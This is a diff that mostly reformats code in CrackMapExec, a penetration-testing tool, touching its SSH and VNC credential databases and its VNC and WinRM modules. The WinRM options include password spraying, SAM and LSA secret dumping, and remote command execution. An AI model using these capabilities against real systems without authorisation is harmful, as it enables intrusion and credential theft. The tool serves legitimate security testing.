"loggedin_relations" ( "id" integer PRIMARY KEY, "credid" integer, "hostid" integer, "shell" boolean, FOREIGN KEY(credid) REFERENCES credentials(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) # "admin" access with SSH means we have root access, which implies shell access since we run commands to check db_conn.execute( - '''CREATE TABLE "admin_relations" ( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "credid" integer, "hostid" integer, FOREIGN KEY(credid) REFERENCES credentials(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) db_conn.execute( - '''CREATE TABLE "keys" ( + """CREATE TABLE "keys" ( "id" integer PRIMARY KEY, "credid" integer, "data" text, FOREIGN KEY(credid) REFERENCES credentials(id) - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect(): try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) - self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) - self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) - self.KeysTable = Table("keys", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.LoggedinRelationsTable = Table( + "loggedin_relations", self.metadata, autoload_with=self.db_engine + ) + self.AdminRelationsTable = Table( + "admin_relations", self.metadata, autoload_with=self.db_engine + ) + self.KeysTable = Table( + "keys", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): ssh_workspace = f"~/.cme/workspaces/{cme_workspace}/ssh.db" print( @@ -117,9 +133,7 @@ class database: hosts = [] updated_ids = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.host == host - ) + q = select(self.HostsTable).filter(self.HostsTable.c.host == host) results = self.sess.execute(q).all() cme_logger.debug(f"add_host(): Initial hosts results: {results}") @@ -128,8 +142,8 @@ class database: new_host = { "host": host, "port": port, - "banner": banner if banner is not None else '', - "os": os if os is not None else '' + "banner": banner if banner is not None else "", + "os": os if os is not None else "", } hosts = [new_host] # update existing hosts data @@ -155,16 +169,12 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns + index_elements=self.HostsTable.primary_key, set_=update_columns ) - self.sess.execute( - q, - hosts - ) # .scalar() + self.sess.execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: cme_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") @@ -178,16 +188,22 @@ class database: # a user can have multiple keys, all with passphrases, and a separate login password if key is not None: - q = select(self.CredentialsTable).join(self.KeysTable).filter( - func.lower(self.CredentialsTable.c.username) == func.lower(username), - func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), - self.KeysTable.c.data == key + q = ( + select(self.CredentialsTable) + .join(self.KeysTable) + .filter( + func.lower(self.CredentialsTable.c.username) + == func.lower(username), + func.lower(self.CredentialsTable.c.credtype) + == func.lower(credtype), + self.KeysTable.c.data == key, + ) ) results = self.sess.execute(q).all() else: q = select(self.CredentialsTable).filter( func.lower(self.CredentialsTable.c.username) == func.lower(username), - func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype) + func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), ) results = self.sess.execute(q).all() @@ -216,18 +232,18 @@ class database: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call - q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id) - update_columns_users = {col.name: col for col in q_users.excluded if col.name not in 'id'} + q_users = Insert( + self.CredentialsTable + ) # .returning(self.CredentialsTable.c.id) + update_columns_users = { + col.name: col for col in q_users.excluded if col.name not in "id" + } q_users = q_users.on_conflict_do_update( - index_elements=self.CredentialsTable.primary_key, - set_=update_columns_users + index_elements=self.CredentialsTable.primary_key, set_=update_columns_users ) cme_logger.debug(f"Adding credentials: {credentials}") - self.sess.execute( - q_users, - credentials - ) # .scalar() + self.sess.execute(q_users, credentials) # .scalar() # return cred_ids # hacky way to get cred_id since we can't use returning() yet @@ -238,7 +254,7 @@ class database: return cred_id else: return credentials - + def remove_credentials(self, creds_id): """ Removes a credential ID from the database @@ -254,41 +270,31 @@ class database: def add_key(self, cred_id, key): # check if key relation already exists check_q = self.sess.execute( - select(self.KeysTable).filter( - self.KeysTable.c.credid == cred_id - ) + select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id) ).all() cme_logger.debug(f"check_q: {check_q}") if check_q: cme_logger.debug(f"Key already exists for cred_id {cred_id}") return - key_data = { - "credid": cred_id, - "data": key - } - self.sess.execute( - Insert(self.KeysTable), - key_data - ) - key_id = self.sess.execute( - select(self.KeysTable).filter( - self.KeysTable.c.credid == cred_id + key_data = {"credid": cred_id, "data": key} + self.sess.execute(Insert(self.KeysTable), key_data) + key_id = ( + self.sess.execute( + select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id) ) - ).all()[0].id + .all()[0] + .id + ) cme_logger.debug(f"Key added: {key_id}") return key_id def get_keys(self, key_id=None, cred_id=None): q = select(self.KeysTable) if key_id is not None: - q = q.filter( - self.KeysTable.c.id == key_id - ) + q = q.filter(self.KeysTable.c.id == key_id) elif cred_id is not None: - q = q.filter( - self.KeysTable.c.credid == cred_id - ) + q = q.filter(self.KeysTable.c.credid == cred_id) results = self.sess.execute(q).all() return results @@ -297,14 +303,12 @@ class database: creds_q = select(self.CredentialsTable) if cred_id: - creds_q = creds_q.filter( - self.CredentialsTable.c.id == cred_id - ) + creds_q = creds_q.filter(self.CredentialsTable.c.id == cred_id) else: creds_q = creds_q.filter( func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), func.lower(self.CredentialsTable.c.username) == func.lower(username), - self.CredentialsTable.c.password == secret + self.CredentialsTable.c.password == secret, ) creds = self.sess.execute(creds_q) hosts = self.get_hosts(host_id) @@ -313,13 +317,10 @@ class database: for cred, host in zip(creds, hosts): cred_id = cred[0] host_id = host[0] - link = { - "credid": cred_id, - "hostid": host_id - } + link = {"credid": cred_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.credid == cred_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.sess.execute(admin_relations_select).all() @@ -329,10 +330,7 @@ class database: admin_relations_insert = Insert(self.AdminRelationsTable) if add_links: - self.sess.execute( - admin_relations_insert, - add_links - ) + self.sess.execute(admin_relations_insert, add_links) def get_admin_relations(self, cred_id=None, host_id=None): if cred_id: @@ -353,14 +351,10 @@ class database: q = delete(self.AdminRelationsTable) if cred_ids: for cred_id in cred_ids: - q = q.filter( - self.AdminRelationsTable.c.credid == cred_id - ) + q = q.filter(self.AdminRelationsTable.c.credid == cred_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.sess.execute(q) def is_credential_valid(self, credential_id): @@ -369,7 +363,7 @@ class database: """ q = select(self.CredentialsTable).filter( self.CredentialsTable.c.id == credential_id, - self.CredentialsTable.c.password is not None + self.CredentialsTable.c.password is not None, ) results = self.sess.execute(q).all() return len(results) > 0 @@ -388,7 +382,7 @@ class database: self.CredentialsTable.c.credtype == cred_type ) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.CredentialsTable).filter( func.lower(self.CredentialsTable.c.username).like(like_term) @@ -401,28 +395,25 @@ class database: return results def get_credential(self, cred_type, username, password): - q = select(self.CredentialsTable).filter( self.CredentialsTable.c.username == username, self.CredentialsTable.c.password == password, - self.CredentialsTable.c.credtype == cred_type + self.CredentialsTable.c.credtype == cred_type, ) results = self.sess.execute(q).first() if results is None: return None else: return results.id - + def is_host_valid(self, host_id): """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.sess.execute(q).all() return len(results) > 0 - + def get_hosts(self, filter_term=None): """ Return hosts from the database. @@ -431,18 +422,14 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.sess.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by host elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - self.HostsTable.c.host.like(like_term) - ) + q = q.filter(self.HostsTable.c.host.like(like_term)) results = self.sess.execute(q).all() cme_logger.debug(f"SSH get_hosts() - results: {results}") return results @@ -451,9 +438,7 @@ class database: """ Check if this User ID is valid. """ - q = select(self.CredentialsTable).filter( - self.CredentialsTable.c.id == cred_id - ) + q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) results = self.sess.execute(q).all() return len(results) > 0 @@ -461,15 +446,11 @@ class database: q = select(self.CredentialsTable) if self.is_user_valid(filter_term): - q = q.filter( - self.CredentialsTable.c.id == filter_term - ) + q = q.filter(self.CredentialsTable.c.id == filter_term) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - func.lower(self.CredentialsTable.c.username).like(like_term) - ) + q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term)) results = self.sess.execute(q).all() return results @@ -483,57 +464,46 @@ class database: def add_loggedin_relation(self, cred_id, host_id, shell=False): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.credid == cred_id, - self.LoggedinRelationsTable.c.hostid == host_id + self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.sess.execute(relation_query).all() # only add one if one doesn't already exist if not results: - relation = { - "credid": cred_id, - "hostid": host_id, - "shell": shell - } + relation = {"credid": cred_id, "hostid": host_id, "shell": shell} try: cme_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call - q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) + q = Insert( + self.LoggedinRelationsTable + ) # .returning(self.LoggedinRelationsTable.c.id) - self.sess.execute( - q, - [relation] - ) # .scalar() + self.sess.execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(cred_id, host_id) - cme_logger.debug(f"Checking if relation was added: {inserted_id_results}") + cme_logger.debug( + f"Checking if relation was added: {inserted_id_results}" + ) return inserted_id_results[0].id except Exception as e: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, cred_id=None, host_id=None, shell=None): - q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) + q = select( + self.LoggedinRelationsTable + ) # .returning(self.LoggedinRelationsTable.c.id) if cred_id: - q = q.filter( - self.LoggedinRelationsTable.c.credid == cred_id - ) + q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) if host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) if shell: - q = q.filter( - self.LoggedinRelationsTable.c.shell == shell - ) + q = q.filter(self.LoggedinRelationsTable.c.shell == shell) results = self.sess.execute(q).all() return results def remove_loggedin_relations(self, cred_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if cred_id: - q = q.filter( - self.LoggedinRelationsTable.c.credid == cred_id - ) + q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) elif host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.sess.execute(q) diff --git a/cme/protocols/ssh/db_navigator.py b/cme/protocols/ssh/db_navigator.py index 3a39db3e..de543809 100644 --- a/cme/protocols/ssh/db_navigator.py +++ b/cme/protocols/ssh/db_navigator.py @@ -7,7 +7,17 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [["CredID", "Admin On", "Total Logins", "Total Shells", "Username", "Password", "CredType"]] + data = [ + [ + "CredID", + "Admin On", + "Total Logins", + "Total Shells", + "Username", + "Password", + "CredType", + ] + ] for cred in creds: cred_id = cred[0] @@ -17,30 +27,26 @@ class navigator(DatabaseNavigator): admin_links = self.db.get_admin_relations(cred_id=cred_id) total_users = self.db.get_loggedin_relations(cred_id=cred_id) - total_shell = total_users = self.db.get_loggedin_relations(cred_id=cred_id, shell=True) + total_shell = total_users = self.db.get_loggedin_relations( + cred_id=cred_id, shell=True + ) - data.append([ - cred_id, - str(len(admin_links)) + " Host(s)", - str(len(total_users)) + " Host(s)", - str(len(total_shell)) + " Shells(s)", - username, - password, - credtype - ]) + data.append( + [ + cred_id, + str(len(admin_links)) + " Host(s)", + str(len(total_users)) + " Host(s)", + str(len(total_shell)) + " Shells(s)", + username, + password, + credtype, + ] + ) print_table(data, title="Credentials") # pull/545 def display_hosts(self, hosts): - data = [[ - "HostID", - "Admins", - "Total Users", - "Host", - "Port", - 'Banner', - 'OS' - ]] + data = [["HostID", "Admins", "Total Users", "Host", "Port", "Banner", "OS"]] for h in hosts: host_id = h[0] @@ -59,7 +65,7 @@ class navigator(DatabaseNavigator): host, port, banner, - os + os, ] ) print_table(data, title="Hosts") @@ -76,13 +82,7 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - "HostID", - "Host", - "Port", - "Banner", - "OS" - ]] + data = [["HostID", "Host", "Port", "Banner", "OS"]] host_id_list = [] for h in hosts: @@ -93,19 +93,15 @@ class navigator(DatabaseNavigator): banner = h[3] os = h[4] - data.append( - [ - host_id, - host, - port, - banner, - os - ] - ) + data.append([host_id, host, port, banner, os]) print_table(data, title="Host") - admin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] - nonadmin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] + admin_access_data = [ + ["CredID", "CredType", "UserName", "Password", "Shell"] + ] + nonadmin_access_data = [ + ["CredID", "CredType", "UserName", "Password", "Shell"] + ] for host_id in host_id_list: admin_links = self.db.get_admin_relations(host_id=host_id) nonadmin_links = self.db.get_loggedin_relations(host_id=host_id) @@ -121,7 +117,9 @@ class navigator(DatabaseNavigator): credtype = cred[3] shell = True - admin_access_data.append([cred_id, credtype, username, password, shell]) + admin_access_data.append( + [cred_id, credtype, username, password, shell] + ) # probably a better way to do this without looping through and requesting them all again, # but I just want to get this working for now @@ -141,9 +139,14 @@ class navigator(DatabaseNavigator): nonadmin_access_data.append(cred_data) if len(nonadmin_access_data) > 1: - print_table(nonadmin_access_data, title="Credential(s) with Non Admin Access") + print_table( + nonadmin_access_data, + title="Credential(s) with Non Admin Access", + ) if len(admin_access_data) > 1: - print_table(admin_access_data, title="Credential(s) with Admin Access") + print_table( + admin_access_data, title="Credential(s) with Admin Access" + ) def help_hosts(self): help_string = """ @@ -204,10 +207,14 @@ class navigator(DatabaseNavigator): credtype = cred[3] cred_data.append([cred_id, username, password, credtype]) - print_table(cred_data, title='Credential(s)') + print_table(cred_data, title="Credential(s)") - admin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] - nonadmin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] + admin_access_data = [ + ["HostID", "Host", "Port", "Banner", "OS", "Shell"] + ] + nonadmin_access_data = [ + ["HostID", "Host", "Port", "Banner", "OS", "Shell"] + ] for cred_id in cred_id_list: admin_links = self.db.get_admin_relations(cred_id=cred_id) @@ -222,9 +229,13 @@ class navigator(DatabaseNavigator): port = h[2] banner = h[3] os = h[4] - shell = True # if we have root via SSH, we know it's a shell + shell = ( + True # if we have root via SSH, we know it's a shell + ) - admin_access_data.append([host_id, host, port, banner, os, shell]) + admin_access_data.append( + [host_id, host, port, banner, os, shell] + ) # probably a better way to do this without looping through and requesting them all again, # but I just want to get this working for now @@ -243,7 +254,9 @@ class navigator(DatabaseNavigator): # we look if it's greater than one because the header row always exists if len(nonadmin_access_data) > 1: - print_table(nonadmin_access_data, title="Non-Admin Access to Host(s)") + print_table( + nonadmin_access_data, title="Non-Admin Access to Host(s)" + ) if len(admin_access_data) > 1: print_table(admin_access_data, title="Admin Access to Host(s)") @@ -267,11 +280,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def display_keys(self, keys): - data = [[ - "Key ID", - "Cred ID", - "Key Data" - ]] + data = [["Key ID", "Cred ID", "Key Data"]] for key in keys: data.append([key[0], key[1], key[2]]) print_table(data, "Keys") @@ -299,9 +308,12 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if input( + if ( + input( "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) == "y": + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -319,7 +331,7 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -329,6 +341,6 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove", "key", "plaintext"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/vnc.py b/cme/protocols/vnc.py index 406e51e3..cc33af9d 100644 --- a/cme/protocols/vnc.py +++ b/cme/protocols/vnc.py @@ -30,15 +30,38 @@ class vnc(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser]) - vnc_parser.add_argument("--no-bruteforce", action='store_true', help="No spray when using file for username and password (user1 => password1, user2 => password2") - vnc_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes") - vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port") - vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit") + vnc_parser = parser.add_parser( + "vnc", help="own stuff using VNC", parents=[std_parser, module_parser] + ) + vnc_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) + vnc_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) + vnc_parser.add_argument( + "--port", type=int, default=5900, help="Custom VNC port" + ) + vnc_parser.add_argument( + "--vnc-sleep", + type=int, + default=5, + help="VNC Sleep on socket connection to avoid rate limit", + ) egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server") - egroup.add_argument("--screenshot", action="store_true", help="Screenshot VNC if connection success") - egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image") + egroup.add_argument( + "--screenshot", + action="store_true", + help="Screenshot VNC if connection success", + ) + egroup.add_argument( + "--screentime", type=int, default=5, help="Time to wait for desktop image" + ) return parser @@ -58,7 +81,7 @@ class vnc(connection): "protocol": "VNC", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) @@ -68,8 +91,12 @@ class vnc(connection): def create_conn_obj(self): try: self.target = RDPTarget(ip=self.host, port=self.args.port) - credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE) - self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) + credential = UniCredential( + protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE + ) + self.conn = VNCConnection( + target=self.target, credentials=credential, iosettings=self.iosettings + ) asyncio.run(self.connect_vnc(True)) except Exception as e: self.logger.debug(str(e)) @@ -90,15 +117,25 @@ class vnc(connection): stype = asyauthSecret.PASS if password == "": stype = asyauthSecret.NONE - self.credential = UniCredential(secret=password, protocol=asyauthProtocol.PLAIN, stype=stype) - self.conn = VNCConnection(target=self.target, credentials=self.credential, iosettings=self.iosettings) + self.credential = UniCredential( + secret=password, protocol=asyauthProtocol.PLAIN, stype=stype + ) + self.conn = VNCConnection( + target=self.target, + credentials=self.credential, + iosettings=self.iosettings, + ) asyncio.run(self.connect_vnc()) self.admin_privs = True self.logger.success( - u"{} {}".format( + "{} {}".format( password, - highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else '') + highlight( + f"({self.config.get('CME', 'pwn3d_label')})" + if self.admin_privs + else "" + ), ) ) if not self.args.continue_on_success: @@ -108,15 +145,23 @@ class vnc(connection): self.logger.debug(str(e)) if "Server supports: 1" in str(e): self.logger.success( - u"{} {}".format( + "{} {}".format( "No password seems to be accepted by the server", - highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else ''))) + highlight( + f"({self.config.get('CME', 'pwn3d_label')})" + if self.admin_privs + else "" + ), + ) + ) else: self.logger.fail(f"{password} {'Authentication failed'}") return False async def screen(self): - self.conn = VNCConnection(target=self.target, credentials=self.credential, iosettings=self.iosettings) + self.conn = VNCConnection( + target=self.target, credentials=self.credential, iosettings=self.iosettings + ) await self.connect_vnc() await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: diff --git a/cme/protocols/vnc/database.py b/cme/protocols/vnc/database.py index cfe80f5d..1c5003f2 100644 --- a/cme/protocols/vnc/database.py +++ b/cme/protocols/vnc/database.py @@ -2,7 +2,11 @@ # -*- coding: utf-8 -*- from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy.exc import SAWarning import warnings @@ -14,7 +18,6 @@ warnings.filterwarnings("ignore", category=SAWarning) class database: - def __init__(self, db_engine): self.HostsTable = None self.CredentialsTable = None @@ -22,10 +25,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -33,26 +33,34 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text, "pkey" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "port" integer, "server_banner" text - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" diff --git a/cme/protocols/vnc/db_navigator.py b/cme/protocols/vnc/db_navigator.py index afeb6af1..b1afbf92 100644 --- a/cme/protocols/vnc/db_navigator.py +++ b/cme/protocols/vnc/db_navigator.py @@ -6,7 +6,12 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -15,4 +20,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 0e13e0a5..9c29805a 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -17,13 +17,14 @@ import logging # The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class SuppressFilter(logging.Filter): # remove warning https://github.com/diyan/pywinrm/issues/269 def filter(self, record): - return 'wsman' not in record.getMessage() + return "wsman" not in record.getMessage() class winrm(connection): @@ -41,38 +42,109 @@ class winrm(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) - winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') - winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") - winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") - winrm_parser.add_argument("--ssl", action='store_true', help="Connect to SSL Enabled WINRM") - winrm_parser.add_argument("--ignore-ssl-cert", action='store_true', help="Ignore Certificate Verification") - winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator') - winrm_parser.add_argument("--http-timeout", dest='http_timeout', type=int, default=10, help="HTTP timeout for WinRM connections") + winrm_parser = parser.add_parser( + "winrm", help="own stuff using WINRM", parents=[std_parser, module_parser] + ) + winrm_parser.add_argument( + "-H", + "--hash", + metavar="HASH", + dest="hash", + nargs="+", + default=[], + help="NTLM hash(es) or file(s) containing NTLM hashes", + ) + winrm_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) + winrm_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) + winrm_parser.add_argument( + "--port", type=int, default=0, help="Custom WinRM port" + ) + winrm_parser.add_argument( + "--ssl", action="store_true", help="Connect to SSL Enabled WINRM" + ) + winrm_parser.add_argument( + "--ignore-ssl-cert", + action="store_true", + help="Ignore Certificate Verification", + ) + winrm_parser.add_argument( + "--laps", + dest="laps", + metavar="LAPS", + type=str, + help="LAPS authentification", + nargs="?", + const="administrator", + ) + winrm_parser.add_argument( + "--http-timeout", + dest="http_timeout", + type=int, + default=10, + help="HTTP timeout for WinRM connections", + ) dgroup = winrm_parser.add_mutually_exclusive_group() - dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + default=None, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) - cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") + cgroup = winrm_parser.add_argument_group( + "Credential Gathering", "Options for gathering credentials" + ) cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') - cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') + cegroup.add_argument( + "--sam", action="store_true", help="dump SAM hashes from target systems" + ) + cegroup.add_argument( + "--lsa", action="store_true", help="dump LSA secrets from target systems" + ) - cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") - cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') - cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") - cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') + cgroup = winrm_parser.add_argument_group( + "Command Execution", "Options for executing commands" + ) + cgroup.add_argument( + "--no-output", action="store_true", help="do not retrieve command output" + ) + cgroup.add_argument( + "-x", + metavar="COMMAND", + dest="execute", + help="execute the specified command", + ) + cgroup.add_argument( + "-X", + metavar="PS_COMMAND", + dest="ps_execute", + help="execute the specified PowerShell command", + ) return parser def proto_logger(self): self.logger = CMEAdapter( extra={ - 'protocol': 'WINRM', - 'host': self.host, - 'port': self.args.port, - 'hostname': self.hostname + "protocol": "WINRM", + "host": self.host, + "port": self.args.port, + "hostname": self.hostname, } ) @@ -103,7 +175,9 @@ class winrm(connection): except: pass except Exception as e: - self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag") + self.logger.fail( + f"Error retrieving host domain: {e} specify one manually with the '-d' flag" + ) if self.args.domain: self.domain = self.args.domain @@ -116,7 +190,9 @@ class winrm(connection): if self.domain is None: self.domain = "" - self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os) + self.db.add_host( + self.host, self.port, self.hostname, self.domain, self.server_os + ) self.output_filename = os.path.expanduser( f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" @@ -133,62 +209,94 @@ class winrm(connection): connection = ldapco.kerberos_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '', + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", kdcHost=self.kdcHost, - aesKey=self.aesKey + aesKey=self.aesKey, ) else: connection = ldapco.auth_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '' + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else 